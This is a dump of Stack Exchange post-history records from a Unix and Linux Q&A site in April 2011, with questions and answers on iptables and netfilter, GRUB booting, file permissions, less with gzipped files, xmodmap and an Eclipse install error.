  <row Id="30285" PostHistoryTypeId="2" PostId="12378" RevisionGUID="86dd1a8e-03a0-45b4-9cba-48f4a57e9d6e" CreationDate="2011-04-30T15:36:27.693" UserId="3389" Text="First, understand that in Linux, TCP/IP sending, receiving, and forwarding are done in the kernel.  So everything networking related is kernel modules that either have to be built into the kernel or `modprobe`d after boot.&#xD;&#xA;&#xD;&#xA;Quoting from http://www.netfilter.org/:  &quot;netfilter is a set of hooks inside the Linux kernel that allows kernel modules to register callback functions with the network stack. A registered callback function is then called back for every packet that traverses the respective hook within the network stack.&quot;&#xD;&#xA;&#xD;&#xA;What this means is that Netfilter is just a bunch of &quot;openings&quot; in the kernel that lets someone create and plug-in other code that changes how Linux does anything related to networking.&#xD;&#xA;&#xD;&#xA;Further from the article: &quot;iptables is a generic table structure for the definition of rulesets. Each rule within an IP table consists of a number of classifiers (iptables matches) and one connected action (iptables target).&quot;&#xD;&#xA;&#xD;&#xA;`iptables` is a specific project and a set of kernel modules that takes advantage of the the &quot;openings&quot; provided by Netfilter to implement rule-by-rule based packet filtering (also known as firewalling) and a lot more.&#xD;&#xA;&#xD;&#xA;So `iptables` will 1) hook itself into Netfilter, and intercept network packets the kernel was either about to send to a NIC or send to an application, and 2) process this packet against each of its current set of rules and 3) when a rule matches, send the packet to that rule's *target*.  &#xD;&#xA;&#xD;&#xA;With properly configured rules you can then drop certain packets coming in from the NIC, change packets to implement NAT or port redirection, or just take action depending on protocol-specific content of the packet, or the payload contents of the packet.  You can also write rules that hand the packet to a userspace application (this is the `NFQUEUE` target) for further processing (userspace-based filters like `moblock` use this).  &#xD;&#xA;&#xD;&#xA;I'm not a Linux kernel expert, but I believe there's one main `iptables` module that handles adding/deleting rules and this is what the `iptables` user space application talks to.  Pretty much every target is then handled by its own kernel module that can either exist as a separate module or be built into the kernel. &#xD;&#xA;&#xD;&#xA;You can look for yourself.  Download a kernel from `www.kernel.org`, un-bzip2-it, cd into its directly and do a `make menuconfig`.  Drill down starting with &quot;Networking Support&quot; and you'll be able to see all the modules available for iptables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30286" PostHistoryTypeId="2" PostId="12379" RevisionGUID="0c0f54a9-9708-4e57-9cd0-e0ba213a6351" CreationDate="2011-04-30T15:37:03.070" UserId="885" Text="The `iptables` command only manipulates the kernel's packet filtering rules. Network traffic is normally entirely managed by the kernel, according to these rules. The kernel can do pretty sophisticated routing and monitoring. In addition to `iptables`, the [iproute2](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2) collection of utilities is necessary to control the kernel's behavior in advanced scenarios.&#xD;&#xA;&#xD;&#xA;The `ip_tables` module (there's no `ip_table` module) is one part of the kernel packet handling component. Unless you're developing kernel networking code or installing custom patches from people who're doing that, you don't need to care which module is doing exactly what.&#xD;&#xA;&#xD;&#xA;It's possible to call user-space code when a packet is received. This corresponds to very specific filtering, mangling, routing or logging needs. The kernel has hooks to run user-space code on certain events, and the [netfilter userspace libraries](http://en.wikipedia.org/wiki/Netfilter#User-space_libraries) provide an interface to these hooks.&#xD;&#xA;" />
  <row Id="30287" PostHistoryTypeId="6" PostId="12374" RevisionGUID="00131f84-2977-44a6-91c1-49dfa4816b0b" CreationDate="2011-04-30T15:37:41.273" UserId="885" Comment="edited tags" Text="élinuxàéiptablesà" />
  <row Id="30288" PostHistoryTypeId="2" PostId="12380" RevisionGUID="9d8c878e-6847-499a-bb40-a2904b3b61ea" CreationDate="2011-04-30T15:38:27.317" UserId="688" Text="As far as I know, there is no way to rescue Nautilus (file manager for GNOME) when it hangs. You are left only with the option of killing it, so go to the command line and run:&#xD;&#xA;&#xD;&#xA;    killall nautilus&#xD;&#xA;&#xD;&#xA;After that, it should automatically restart, and then you can try again.&#xD;&#xA;&#xD;&#xA;This is just a bug in it. Try avoid parallel copying at once, though I'm not sure if that's what triggers the behavior, but it tends to be a slower operation anyways, compared to serial copying.&#xD;&#xA;&#xD;&#xA;Note that Nautilus doesn't invoke the shell's copy commands, that's why your `ps` attempts didn't help. It uses different technology ([GIO][1] and/or [GVFS][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.gnome.org/gio/stable/index.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/GVFS" />
  <row Id="30289" PostHistoryTypeId="2" PostId="12381" RevisionGUID="8c94a682-3557-4fca-ade3-1e4b46917bb2" CreationDate="2011-04-30T16:13:58.673" UserId="2180" Text="netfilter is a set of hooks sprawled throughout the networking code in the kernel. This means that if a piece of code is about to do something significant (we'll call it X), it calls a function that says &quot;I'm about to do X&quot;. That function would then notify any other interested parties via a registered callback. It is also used by other (not iptables) systems like IPVS.&#xD;&#xA;&#xD;&#xA;ip_tables is a module that uses netfilter to get these notices. It identifies packets that it has been told are relevant and does actions it was told to do. It knows which packets are relevant and the actions to perform on them based on rules that the user has given it; it stores these rules in a table.&#xD;&#xA;&#xD;&#xA;Extension modules do much of the work of providing match criteria and target actions.&#xD;&#xA;&#xD;&#xA;iptables is a userspace tool for setting up those rules in the ip_tables module. The tool also comes with many plugins that parse command-line options and register rules.&#xD;&#xA;&#xD;&#xA;If you want to learn more of the internals, there is an [excellent book][1] about it. The book has all you need if you want to create additional functionality for iptables, but will not do much to further your understanding of how to use iptables.&#xD;&#xA;&#xD;&#xA;If you want to better understand how to use iptables, it is better to read several different pieces of documentation to see things explained in different ways. It is also a very good idea to play with iptables yourself. I particularly appreciated using the LOG target to see the flow of packets through the tables and chains. Additionally, [a chart of the packet flow through the tables][2] is extremely useful. Finally, if you're trying to do something with iptables and it's not doing what you expect, ask a specific question here on the site; there are a number of people who regularly answer questions who are familiar with iptables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jengelh.medozas.de/documents/Netfilter_Modules.pdf&#xD;&#xA;  [2]: http://jengelh.medozas.de/images/nf-packet-flow.png" />
  <row Id="30290" PostHistoryTypeId="5" PostId="7191" RevisionGUID="24682925-5a6d-4881-af57-dc88b81c13db" CreationDate="2011-04-30T16:20:18.367" UserId="4671" Comment="typo fixes. Edit to first line is speculative. Not sure if it is an improvement, but is clearer, at least to me." Text="Shawn J. Goff made a lot of good points, but did not include the whole story: &#xD;&#xA;&gt; Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing `/bin/sh` script because you've just called a bash script using the dash interpreter.&#xD;&#xA;&#xD;&#xA;A lot of system scripts (like in init.d, in /etc and so on) have a shebang `#!/bin/sh`, but `/bin/sh` is in fact a symbolic link to another shell - in former times `/bin/bash`, nowadays `/bin/dash`. But when one of them is invoked as `/bin/sh`, they behave differently, i.e. they stick to POSIX-compatibility-mode. &#xD;&#xA;&#xD;&#xA;How do they do this? Well, they inspect how they were invoked. &#xD;&#xA;&#xD;&#xA;Can a shellscript itself test how it was invoked, and do different things, depending on that? Yes, it can. So the way you invoke it can always lead to different results, but of course it is seldom done to annoy you. :) &#xD;&#xA;&#xD;&#xA;As a rule of thumb: If you're learning a specific shell like bash, and write commands from a bash tutorial, put `#!/bin/bash` in the headline, not `#!/bin/sh`, except where otherwise noted. Else your commands might fail.&#xD;&#xA;And if you haven't written a script yourself, invoke it directly (`./foo.sh`, `bar/foo.sh`) instead of guessing a shell (`sh foo.sh`, `sh bar/foo.sh`). The shebang should invoke the right shell. &#xD;&#xA;&#xD;&#xA;And here are two other kinds of invocation: &#xD;&#xA;&#xD;&#xA;    cat foo.sh | dash&#xD;&#xA;    dash &lt; foo.sh&#xD;&#xA;" />
  <row Id="30291" PostHistoryTypeId="24" PostId="7191" RevisionGUID="24682925-5a6d-4881-af57-dc88b81c13db" CreationDate="2011-04-30T16:20:18.367" Comment="Proposed by 4671 approved by 885 edit id of 340" />
  <row Id="30292" PostHistoryTypeId="5" PostId="12381" RevisionGUID="01574020-e25e-481e-90b5-6f2c59d84246" CreationDate="2011-04-30T16:24:54.567" UserId="2180" Comment="fixed capitalization of netfilter in title" Text="#netfilter&#xD;&#xA;netfilter is a set of hooks sprawled throughout the networking code in the kernel. This means that if a piece of code is about to do something significant (we'll call it X), it calls a function that says &quot;I'm about to do X&quot;. That function would then notify any other interested parties via a registered callback. It is also used by other (not iptables) systems like IPVS.&#xD;&#xA;&#xD;&#xA;#ip_tables (the kernel module)&#xD;&#xA;ip_tables is a module that uses netfilter to get these notices. It identifies packets that it has been told are relevant and does actions it was told to do. It knows which packets are relevant and the actions to perform on them based on rules that the user has given it; it stores these rules in a table. In fact, it uses a more generic module, xtables, that ip_tables uses.&#xD;&#xA;&#xD;&#xA;#Extension modules&#xD;&#xA;Extension modules do much of the work of providing match criteria and target actions. Some examples of extension modules include IP_NF_TARGET_LOG and NF_NAT.&#xD;&#xA;&#xD;&#xA;#iptables (the userspace tool)&#xD;&#xA;iptables is a userspace tool for setting up those rules in the ip_tables module. The tool also comes with many plugins that parse command-line options and register rules.&#xD;&#xA;&#xD;&#xA;#Learn more about iptables internals&#xD;&#xA;If you want to learn more of the internals, there is an [excellent book][1] about it. The book has all you need if you want to create additional functionality for iptables, but will not do much to further your understanding of how to use iptables.&#xD;&#xA;&#xD;&#xA;#Learn more about using iptables&#xD;&#xA;If you want to better understand how to use iptables, it is better to read several different pieces of documentation to see things explained in different ways. Even more important, is to **play with iptables yourself**. I particularly appreciated using the LOG target to see the flow of packets through the tables and chains and the effects of the rules on them. Additionally, [a chart of the packet flow through the tables][2] is extremely useful. Finally, if you're trying to do something with iptables and it's not doing what you expect, ask a specific question here on the site; there are a number of people who regularly answer questions who are familiar with iptables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jengelh.medozas.de/documents/Netfilter_Modules.pdf&#xD;&#xA;  [2]: http://jengelh.medozas.de/images/nf-packet-flow.png" />
  <row Id="30293" PostHistoryTypeId="5" PostId="12381" RevisionGUID="ebaa16cd-ed5e-4794-87d3-097ad537660c" CreationDate="2011-04-30T16:32:40.147" UserId="2180" Comment="more info about userspace packet processing" Text="#netfilter&#xD;&#xA;netfilter is a set of hooks sprawled throughout the networking code in the kernel. This means that if a piece of code is about to do something significant (we'll call it X), it calls a function that says &quot;I'm about to do X&quot;. That function would then notify any other interested parties via a registered callback. It is also used by other (not iptables) systems like IPVS.&#xD;&#xA;&#xD;&#xA;netfilter also includes mechanisms for passing packets to userspace programs - this is used by iptables for the QUEUE and ULOG targets to allow the user to process packets in userspace.&#xD;&#xA;&#xD;&#xA;#ip_tables (the kernel module)&#xD;&#xA;ip_tables is a module that uses netfilter to get these notices. It identifies packets that it has been told are relevant and does actions it was told to do. It knows which packets are relevant and the actions to perform on them based on rules that the user has given it; it stores these rules in a table. In fact, it uses a more generic module, xtables, that ip_tables uses.&#xD;&#xA;&#xD;&#xA;#Extension modules&#xD;&#xA;Extension modules do much of the work of providing match criteria and target actions. Some examples of extension modules include IP_NF_TARGET_LOG and NF_NAT.&#xD;&#xA;&#xD;&#xA;#iptables (the userspace tool)&#xD;&#xA;iptables is a userspace tool for setting up those rules in the ip_tables module. The tool also comes with many plugins that parse command-line options and register rules.&#xD;&#xA;&#xD;&#xA;#Learn more about iptables internals&#xD;&#xA;If you want to learn more of the internals, there is an [excellent book][1] about it. The book has all you need if you want to create additional functionality for iptables, but will not do much to further your understanding of how to use iptables.&#xD;&#xA;&#xD;&#xA;#Learn more about using iptables&#xD;&#xA;If you want to better understand how to use iptables, it is better to read several different pieces of documentation to see things explained in different ways. Even more important, is to **play with iptables yourself**. I particularly appreciated using the LOG target to see the flow of packets through the tables and chains and the effects of the rules on them. Additionally, [a chart of the packet flow through the tables][2] is extremely useful. Finally, if you're trying to do something with iptables and it's not doing what you expect, ask a specific question here on the site; there are a number of people who regularly answer questions who are familiar with iptables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jengelh.medozas.de/documents/Netfilter_Modules.pdf&#xD;&#xA;  [2]: http://jengelh.medozas.de/images/nf-packet-flow.png" />
  <row Id="30294" PostHistoryTypeId="2" PostId="12382" RevisionGUID="93391a53-381c-4f39-8c9b-189a3f6522a3" CreationDate="2011-04-30T16:49:29.513" UserId="2847" Text="I have the same remote and I have it sending correct keycodes to my 2.6.38-gentoo-r3 kernel. I did not compile keycodes as a module, instead I'm letting v4l-utils handle it with udev. &#xD;&#xA;&#xD;&#xA;Couple of things I learned:&#xD;&#xA;&#xD;&#xA; * Check output of ir-keytable -r, it should list [all the keycodes applicable](http://git.linuxtv.org/v4l-utils.git?a=blob;f=utils/keytable/rc_keymaps/imon_pad) to your remote.&#xD;&#xA; * Load the keytable manually: ir-keytable -c -w bleh/keymaps/imon_pad, after which ir-keytable -r should give you the table back&#xD;&#xA; * You might actually have a faulty receiver, you mention nothing about history. I remember seeing at least one message on [lirc-list](http://old.nabble.com/LIRC-f2054.html) where guy said sending the case back and getting a new one solved his issues.&#xD;&#xA;&#xD;&#xA;Let us know how it went." />
  <row Id="30295" PostHistoryTypeId="25" PostId="12374" RevisionGUID="c963a7f9-343b-43f6-b578-bb0e44870ff4" CreationDate="2011-04-30T18:11:18.617" Comment="http://twitter.com/#!/StackUnix/status/64391391836508160" />
  <row Id="30296" PostHistoryTypeId="2" PostId="12383" RevisionGUID="6211e108-d75e-4840-88a0-0ce35fcb7a0a" CreationDate="2011-04-30T18:20:55.847" UserId="1010" Text="I am using Ubuntu, and I would like to be able to type `less compressed_text_file.gz` and page the contents of the text file in uncompressed form. Is there a way to do this?" />
  <row Id="30297" PostHistoryTypeId="1" PostId="12383" RevisionGUID="6211e108-d75e-4840-88a0-0ce35fcb7a0a" CreationDate="2011-04-30T18:20:55.847" UserId="1010" Text="How can I view gzipped files in less without having to type zless?" />
  <row Id="30298" PostHistoryTypeId="3" PostId="12383" RevisionGUID="6211e108-d75e-4840-88a0-0ce35fcb7a0a" CreationDate="2011-04-30T18:20:55.847" UserId="1010" Text="éubuntuàécompressionàépagerà" />
  <row Id="30299" PostHistoryTypeId="5" PostId="12373" RevisionGUID="fd7d795d-6a24-4cd6-b8a4-4b7575464e0d" CreationDate="2011-04-30T18:21:07.730" UserId="885" Comment="mention removing the Lock modifier" Text="X has a keysym (i.e. an abstract key name) called `Mode_switch`. On most keyboard mappings for latin-script languages other than US, this keysym is bound to the key labeled &lt;kbd&gt;AltGr&lt;/kbd&gt;, which replaces the right &lt;kbd&gt;Alt&lt;/kbd&gt; key. You can choose to map `Mode_switch` to a different key such as &lt;kbd&gt;Caps Lock&lt;/kbd&gt;. On a PC keyboard, the keycode (what the hardware sends) for &lt;kbd&gt;Caps Lock&lt;/kbd&gt; is 66, so change its binding to `Mode_switch`, and remove the caps lock modifier from it:&#xD;&#xA;&#xD;&#xA;    keycode 66 = Mode_switch&#xD;&#xA;    clear Lock&#xD;&#xA;&#xD;&#xA;In an xmodmap key specification, the character sent by the key with `Mode_switch` is in the third column after the `=` sign, and with `Mode_switch`+`Shift` in the fourth column. (The first two columns are for the key with no modifiers and with `Shift`.) You can use a `keysym` directive to rebind the key that now sends `n` regardless of its keycode:&#xD;&#xA;&#xD;&#xA;    keysym n = n N ntilde Ntilde&#xD;&#xA;&#xD;&#xA;The names on the right are in fact keysym names. You can find a list of these in&#xD;&#xA;`/usr/include/X11/keysymdef.h`, e.g. the line `#define XK_Ntilde 0x00d1` means there's a keysym called `Ntilde` that corresponds to Unicode character U+00D1. There are characters that don't have a keysym name; you can use the unicode number instead.&#xD;&#xA;&#xD;&#xA;    ! U+2030 is PER MILLE SIGN, U+2031 is PER TEN THOUSAND SIGN&#xD;&#xA;    keysym 5 = 5 percent U2030 U2031&#xD;&#xA;" />
  <row Id="30300" PostHistoryTypeId="2" PostId="12384" RevisionGUID="f0492c51-94ba-4ef5-bc27-3e381acd572a" CreationDate="2011-04-30T18:22:55.070" UserId="2180" Text="I found projects called [Linux Serial Sniffer][1], [jpnevulator][2], and [Moni][3]. The first two look like they do exactly what you want. The last one calls itself a monitor, but it actually looks like a standard serial communication program.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/linuxserialsniffer/&#xD;&#xA;  [2]: http://jpnevulator.snarl.nl/&#xD;&#xA;  [3]: http://www.rolf-schroedter.de/moni/" />
  <row Id="30301" PostHistoryTypeId="2" PostId="12385" RevisionGUID="6ad462a2-ce7e-4912-839c-8e4ec289787c" CreationDate="2011-04-30T18:34:04.300" UserId="885" Text="You can configure the key bindings and set many [settings](http://manpages.ubuntu.com/manpages/lucid/en/man1/less.1.html#contenttoc12) for `less` in a file called `~/.lesskey`. Once you've created the file, run the [`lesskey` command](http://manpages.ubuntu.com/manpages/lucid/en/man1/lesskey.1.html); it generates a file called `~/.less` which `less` reads when it starts.&#xD;&#xA;&#xD;&#xA;The setting you want is [`LESSOPEN`](http://manpages.ubuntu.com/manpages/lucid/en/man1/less.1.html#contenttoc7). It's an input formatter for less. The `less` package comes with a sample formatter in `/bin/lesspipe`; it decompresses gzipped files, shows content listings for many multi-file archive formats, and converts several formatted texts formats to plain text. In your `~/.lesskey`:&#xD;&#xA;&#xD;&#xA;    #env&#xD;&#xA;    LESSOPEN=|/bin/lesspipe %s&#xD;&#xA;" />
  <row Id="30302" PostHistoryTypeId="6" PostId="12383" RevisionGUID="8ac1fc9d-aadf-4d7e-bc45-d4732a3253cf" CreationDate="2011-04-30T18:34:24.690" UserId="885" Comment="edited tags" Text="élessàécompressionà" />
  <row Id="30310" PostHistoryTypeId="2" PostId="12386" RevisionGUID="72a364d9-58fc-4c54-ad5e-475b09e2f03d" CreationDate="2011-04-30T19:01:00.520" UserId="1995" Text="When I write:&#xD;&#xA;chmod g=rws,u=rwx,o=rx folder_name&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;drwxrwSr-x&#xD;&#xA;&#xD;&#xA;But S is not the same as s, right?" />
  <row Id="30311" PostHistoryTypeId="1" PostId="12386" RevisionGUID="72a364d9-58fc-4c54-ad5e-475b09e2f03d" CreationDate="2011-04-30T19:01:00.520" UserId="1995" Text="Directory special permission problem" />
  <row Id="30312" PostHistoryTypeId="3" PostId="12386" RevisionGUID="72a364d9-58fc-4c54-ad5e-475b09e2f03d" CreationDate="2011-04-30T19:01:00.520" UserId="1995" Text="ébashàépermissionsàéchmodà" />
  <row Id="30313" PostHistoryTypeId="2" PostId="12387" RevisionGUID="c90fce4e-223c-4caa-8bae-f4f472a26ea0" CreationDate="2011-04-30T19:12:58.743" UserId="885" Text="You specified the `s` bit for the group without the `x` bit. Executable and setgid are separate bits, the `ls` command just combines them into a single letter to gain space. You need&#xD;&#xA;&#xD;&#xA;    chmod g=rwxs,u=rwx,o=rx folder_name&#xD;&#xA;&#xD;&#xA;i.e. `chmod 2775 folder_name`. You did `chmod 2765 folder_name`.&#xD;&#xA;&#xD;&#xA;`S` means setxid without executable, it's in uppercase because that's rarely useful and likely a sign of a mistake that needs to be fixed.&#xD;&#xA;" />
  <row Id="30314" PostHistoryTypeId="2" PostId="12388" RevisionGUID="e80541c9-72f3-4bb4-888a-7129cdb13eaa" CreationDate="2011-04-30T19:46:52.710" UserId="6761" Text="If you are trying to boot from a USB drive, you need to make sure you have included this in your mkinitcpio hooks. If this is the case, chroot into your Arch install and make the change before rebuilding the image. &#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Adds USB modules to the image. Use this if your root device is on a USB mass storage device or if your USB mass storage device needs to be accessed otherwise (checked, mounted, etc.) at boot time.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;See the wiki entry for details:&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/Mkinitcpio#HOOKS" />
  <row Id="30315" PostHistoryTypeId="5" PostId="12375" RevisionGUID="b2e44f38-466c-443e-9a8f-76c432c42389" CreationDate="2011-04-30T21:00:13.523" UserId="2333" Comment="added 817 characters in body" Text="I installed Arch Linux from a USB flash drive. Everything went well, no errors at all. When I rebooted, however, I got only a blank screen with a blinking cursor. No GRUB. I cannot input anything. I'm sure I followed the installation instructions properly. Can anybody suggest what might be the problem?&#xD;&#xA;&#xD;&#xA;Edit: grub's menu.lst:&#xD;&#xA;&#xD;&#xA;    # Arch Linux&#xD;&#xA;    title Arch Linux&#xD;&#xA;    root (hd1,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/db9d5d80-d822-481e-885f-c93bf2927512 ro&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;&#xD;&#xA;    # Arch Linux fallback&#xD;&#xA;    title Arch Linux Fallback&#xD;&#xA;    root (hd1,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/db9d5d80-d822-481e-885f-c93bf2927512 ro&#xD;&#xA;    initrd /kernel26-fallback.img&#xD;&#xA;&#xD;&#xA;A sketch of the drives and partitions, until I have a chance to boot to the USB again and get more certain details:&#xD;&#xA;&#xD;&#xA;sda: will be Windows 7 on 1st half of drive, data partition on second. Total size 1 TB.&#xD;&#xA;&#xD;&#xA;sdb: also 1 TB. If I recall correctly from Arch install, it has: 100MiB /boot, 256MiB swap, 20GiB /, remainder is /home. I think they're in that order, too. I believe /boot is ext2 and / and /home are ext3." />
  <row Id="30316" PostHistoryTypeId="2" PostId="12389" RevisionGUID="1c357cd8-5f4d-4b26-93bf-d49feab618d6" CreationDate="2011-04-30T21:10:50.370" UserId="7111" Text="so I installed eclipse on fedora core 14 using the yum install eclipse-platform command...&#xD;&#xA;&#xD;&#xA;so I ran eclipse and tried to install the java development tools...but then this error comes up:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Cannot complete the install because of&#xD;&#xA;&gt; a conflicting dependency.   Software&#xD;&#xA;&gt; being installed: Eclipse Java&#xD;&#xA;&gt; Development Tools&#xD;&#xA;&gt; 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F&#xD;&#xA;&gt; (org.eclipse.jdt.feature.group&#xD;&#xA;&gt; 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F)&#xD;&#xA;&gt; Software currently installed: Eclipse&#xD;&#xA;&gt; Platform 3.6.1 (Eclipse Platform&#xD;&#xA;&gt; 3.6.1)   Only one of the following can be installed at once: &#xD;&#xA;&gt;     Eclipse IDE UI 3.6.1.M20100825-0800 (org.eclipse.ui.ide&#xD;&#xA;&gt; 3.6.1.M20100825-0800)&#xD;&#xA;&gt;     Eclipse IDE UI 3.6.0.I20100601-0800 (org.eclipse.ui.ide&#xD;&#xA;&gt; 3.6.0.I20100601-0800)&#xD;&#xA;&gt;     Eclipse IDE UI 3.6.2.M20101201-0800 (org.eclipse.ui.ide&#xD;&#xA;&gt; 3.6.2.M20101201-0800)   Cannot satisfy dependency:&#xD;&#xA;&gt;     From: Eclipse Platform 3.6.1 (Eclipse Platform 3.6.1)&#xD;&#xA;&gt;     To: org.eclipse.ui.ide [3.6.1.M20100825-0800]   Cannot&#xD;&#xA;&gt; satisfy dependency:&#xD;&#xA;&gt;     From: Eclipse Java Development Tools&#xD;&#xA;&gt; 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F&#xD;&#xA;&gt; (org.eclipse.jdt.feature.group&#xD;&#xA;&gt; 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F)&#xD;&#xA;&gt;     To: org.eclipse.platform.feature.group&#xD;&#xA;&gt; 3.6.2   Cannot satisfy dependency:&#xD;&#xA;&gt;     From: Eclipse Platform 3.6.2.r362_v20110210-9gF78Gs1FrIGnHDHWkEcopoN8AmxeZflGDGKQi&#xD;&#xA;&gt; (org.eclipse.platform.feature.group&#xD;&#xA;&gt; 3.6.2.r362_v20110210-9gF78Gs1FrIGnHDHWkEcopoN8AmxeZflGDGKQi)&#xD;&#xA;&gt;     To: org.eclipse.ui.ide [3.6.2.M20101201-0800]&#xD;&#xA;&#xD;&#xA;what should I do?" />
  <row Id="30317" PostHistoryTypeId="1" PostId="12389" RevisionGUID="1c357cd8-5f4d-4b26-93bf-d49feab618d6" CreationDate="2011-04-30T21:10:50.370" UserId="7111" Text="problem installing eclipse java on linux" />
  <row Id="30318" PostHistoryTypeId="3" PostId="12389" RevisionGUID="1c357cd8-5f4d-4b26-93bf-d49feab618d6" CreationDate="2011-04-30T21:10:50.370" UserId="7111" Text="élinuxàéfedoraàéyumàéjavaàéeclipseà" />
  <row Id="30319" PostHistoryTypeId="25" PostId="12386" RevisionGUID="770e08c0-a729-4be1-8a84-8eeaa61da224" CreationDate="2011-04-30T21:11:18.917" Comment="http://twitter.com/#!/StackUnix/status/64436690500059136" />
  <row Id="30320" PostHistoryTypeId="6" PostId="12038" RevisionGUID="f0fc1e65-ae7b-43c4-9aa3-5352aaa4a927" CreationDate="2011-04-30T21:16:39.740" UserId="885" Comment="edited tags" Text="ézshàépromptàécolorsà" />
  <row Id="30321" PostHistoryTypeId="5" PostId="12375" RevisionGUID="48387fa4-01a9-42f3-9104-c8652594c14f" CreationDate="2011-04-30T23:04:00.217" UserId="2333" Comment="added 618 characters in body" Text="I installed Arch Linux from a USB flash drive. Everything went well, no errors at all. When I rebooted, however, I got only a blank screen with a blinking cursor. No GRUB. I cannot input anything. I'm sure I followed the installation instructions properly. Can anybody suggest what might be the problem?&#xD;&#xA;&#xD;&#xA;Edit: grub's menu.lst:&#xD;&#xA;&#xD;&#xA;    # Arch Linux&#xD;&#xA;    title Arch Linux&#xD;&#xA;    root (hd1,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/db9d5d80-d822-481e-885f-c93bf2927512 ro&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;&#xD;&#xA;    # Arch Linux fallback&#xD;&#xA;    title Arch Linux Fallback&#xD;&#xA;    root (hd1,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/db9d5d80-d822-481e-885f-c93bf2927512 ro&#xD;&#xA;    initrd /kernel26-fallback.img&#xD;&#xA;&#xD;&#xA;A sketch of the drives and partitions, until I have a chance to boot to the USB again and get more certain details:&#xD;&#xA;&#xD;&#xA;sda: will be Windows 7 on 1st half of drive, data partition on second. Total size 1 TB.&#xD;&#xA;&#xD;&#xA;sdb: also 1 TB. If I recall correctly from Arch install, it has: 100MiB /boot, 256MiB swap, 20GiB /, remainder is /home. I think they're in that order, too. I believe /boot is ext2 and / and /home are ext3.&#xD;&#xA;&#xD;&#xA;Edited to add: output of `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 100.2 GB, 100204886016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 121601 cylinders&#xD;&#xA;    Units=cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes/512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes/512 bytes&#xD;&#xA;    Disk identifier: 0x00022eec&#xD;&#xA;&#xD;&#xA;       Device Boot Start    End    Blocks  ID System&#xD;&#xA;    /dev/sdb1  *       1     13    104391  83 Linux&#xD;&#xA;    /dev/sdb2         14     46    265072+ 82 Linux swap/Solaris&#xD;&#xA;    /dev/sdb3         47   2596  20482875  83 Linux&#xD;&#xA;    /dev/sdb4       2597 121601 955907662+ 83 Linux" />
  <row Id="30322" PostHistoryTypeId="5" PostId="12377" RevisionGUID="c57335fe-ff3e-4340-8902-255049d3b8d1" CreationDate="2011-04-30T23:26:02.323" UserId="885" Comment="update based on question edit: there are two disks" Text="What's probably happening is that Grub didn't get the right information about where it should boot from. The BIOS has its own notion of disk numbering, and it's pretty primitive: the boot disk is disk 1, and some other disk is disk 2. If you're booting Linux by choosing the Linux disk in the BIOS boot menu, then Grub will need to read its own files, and the Linux kernels, from `hd0`.&#xD;&#xA;&#xD;&#xA;Boot into your installation, and edit the file `/boot/grub/device.map` to associate `/dev/sdb` with `hd0` and `/dev/sda` with `hd1`. Then run&#xD;&#xA;&#xD;&#xA;    update-grub&#xD;&#xA;    grub-install /dev/sdb&#xD;&#xA;" />
  <row Id="30323" PostHistoryTypeId="2" PostId="12390" RevisionGUID="92ce5289-163e-432a-a34e-9742ed251829" CreationDate="2011-04-30T11:00:06.627" UserId="7122" UserDisplayName="Henry-Nicolas Tourneur" Text="Hello everybody,&#xD;&#xA;&#xD;&#xA;I'v a Linux server running under Debian Lenny with 4Go of RAM.&#xD;&#xA;It doesn't run a large number of stuffs:&#xD;&#xA;&#xD;&#xA;- Postfix/spamassassin (daemon mode)&#xD;&#xA;- Bind9&#xD;&#xA;- KVM (one guest - 1Go of RAM for it)&#xD;&#xA;&#xD;&#xA;Every day at exactly 3:05 UTC, the server completely drop to ground floor almost all of its memory. After that, I'v more than 2 G used by buffer and never cleaned up (unless I manually tell the kernel to drop the cache).&#xD;&#xA;&#xD;&#xA;I'v searched the web a lot and, at the begining, I though this was due to NFS buffer usage.&#xD;&#xA;I do backup over an NFS share drive using gzip/tar and the backup occured at 3:05.&#xD;&#xA;&#xD;&#xA;However, I'm now in a very strange situation because I moved the backup task at 1:40 (it completes in 2 mins) and I still drop all the RAM at 3:05.&#xD;&#xA;&#xD;&#xA;In my logs, nothing particular, except that at 03:05:01, cron open a session as root and immediately close it at 03:05:02 without doing anything. Of course, cron has been restarted and I checked the timing of the tasks - again, nothing particular.&#xD;&#xA;&#xD;&#xA;Any idea why this happens? Or, any idea about how to track what's using all those buffers?&#xD;&#xA;&#xD;&#xA;Thanks for your help," />
  <row Id="30324" PostHistoryTypeId="1" PostId="12390" RevisionGUID="92ce5289-163e-432a-a34e-9742ed251829" CreationDate="2011-04-30T11:00:06.627" UserId="7122" UserDisplayName="Henry-Nicolas Tourneur" Text="Tracking huge buffer usage under Linux" />
